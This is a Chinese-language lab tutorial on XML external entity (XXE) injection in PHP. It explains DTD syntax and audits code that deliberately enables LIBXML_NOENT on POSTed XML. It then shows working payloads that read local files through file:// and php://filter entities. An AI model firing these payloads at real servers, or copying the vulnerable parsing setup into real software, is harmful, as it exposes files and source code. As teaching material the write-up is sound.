XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

目录

一、XML的规范

二、代码审计

三、XXE漏洞


 

一、XML的规范

<!--声明xml的版本号-->
<?xml version="1.0"?>

<!--定义此文档是note类型的文档-->
<!DOCTYPE note[ 

<!--外部实体声明-->        
<!ENTITY entity-name SYSTEM "URI/URL">

]>

<!--文档元素--> 
<note>
<head>Reminder</head>
<body>You are a good boy</body>
</note>

二、代码审计

通过源代码我可以得知,通过post请求的xml参数直接通过simplexmlement函数进行解析,未进行任何的安全验证。

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

三、XXE漏洞

由此我们可以构建恶意的xml代码通过post请求提交给后台。

而且xml外部引用还可以引用file协议, http协议、php和ftp协议等多种协议。

首先我们可以通过输入下列代码简单检测一下是由存在漏洞。

<x>Flute</x>

发现点击提交后有回显。

  • file协议读取
<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY file SYSTEM "file:///F:/phpstudy_pro/WWW/xx.txt">
]>
<x>&file;</x>

  • php伪协议读取
<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=F:/phpstudy_pro/WWW/xx.txt">
]>
<x>&file;</x>

成功发现base64加密后的源代码。

通过在线base64解密网站,进行解密,成功获取xx.txt的源代码。

 

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐